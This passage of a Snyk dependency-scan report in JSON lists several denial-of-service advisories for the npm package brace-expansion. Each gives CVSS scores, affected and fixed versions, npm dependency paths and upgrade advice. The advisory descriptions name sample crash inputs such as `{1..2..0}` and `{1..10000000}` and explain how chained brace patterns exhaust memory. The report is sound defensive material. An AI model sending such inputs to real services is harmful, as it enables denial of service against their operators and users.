"percentile": "0.47168", "probability": "0.00623", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-69152" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-rgw5-rvv9-x895" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-08-03T18:50:29.684875Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-08-03T16:35:32Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-08-03T18:50:29.862827Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:37.934109Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/sign@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.13", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/sign@4.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-15789759", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ "<1.1.13", ">=2.0.0 <2.0.3", ">=3.0.0 <3.0.2", ">=4.0.0 <5.0.5" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.13", "2.0.3", "3.0.2", "5.0.5" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113", "title": "Vulnerable Code" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-07-16T02:01:19.320993Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-16T02:01:19.320993Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n", "epssDetails": { "percentile": "0.34118", "probability": "0.00430", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33750" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-f886-m6hf-6m8v" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-03-27T07:45:56.244707Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-26T18:29:42Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-27T07:45:56.429154Z", "severityBasedOn": "CVSS", "modificationTime": "2026-07-16T02:01:19.320993Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-16755174", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ ">=5.0.2 <5.0.6" ] }, "exploit": "Not Defined", "fixedIn": [ "5.0.6" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-18T02:01:26.570047Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-18T02:01:26.570047Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the `max` option being applied after generating all elements in a large numeric range. An attacker can exhaust system memory and processing resources by submitting input such as `{1..10000000}` that causes excessive allocation and computation before the output is limited.\r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by ensuring the string to be expanded does not contain more values than the desired `max` item count.\n## Remediation\nUpgrade `brace-expansion` to version 5.0.6 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5)\n", "epssDetails": { "percentile": "0.22128", "probability": "0.00300", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-45149" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-jxxr-4gwj-5jf2" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-05-19T09:10:10.822382Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-05-18T16:22:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-19T09:10:11.009629Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-18T02:01:26.570047Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-17706650", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.7" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.16", "2.1.2", "5.0.7" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n", "epssDetails": { "percentile": "0.29069", "probability": "0.00364", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-13149" ], "CWE": [ "CWE-407" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-06-30T11:38:19.757696Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-06-30T11:25:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-06-30T11:38:19.961909Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:04:38.442182Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18313044", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "bnbdr" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.8" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.16", "2.1.2", "5.0.8" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:14.560643Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:14.560643Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n", "epssDetails": { "percentile": "0.38245", "probability": "0.00466", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-14257" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-mh99-v99m-4gvg" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-07-26T09:53:40.727617Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-23T15:49:26Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-26T09:53:40.907374Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:14.560643Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18512280", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Alessio Della Libera" ], "semver": { "vulnerable": [ "<1.1.18", ">=2.0.0 <2.1.4", ">=3.0.0 <3.0.6", ">=4.0.0 <5.0.9" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.18", "2.1.4", "3.0.6", "5.0.9" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:37.934109Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:37.934109Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n", "epssDetails": { "percentile": "0.47168", "probability": "0.00623", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-69152" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-rgw5-rvv9-x895" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-08-03T18:50:29.684875Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-08-03T16:35:32Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-08-03T18:50:29.862827Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:37.934109Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-15789759", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ "<1.1.13", ">=2.0.0 <2.0.3", ">=3.0.0 <3.0.2", ">=4.0.0 <5.0.5" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.13", "2.0.3", "3.0.2", "5.0.5" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113", "title": "Vulnerable Code" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-07-16T02:01:19.320993Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-16T02:01:19.320993Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by 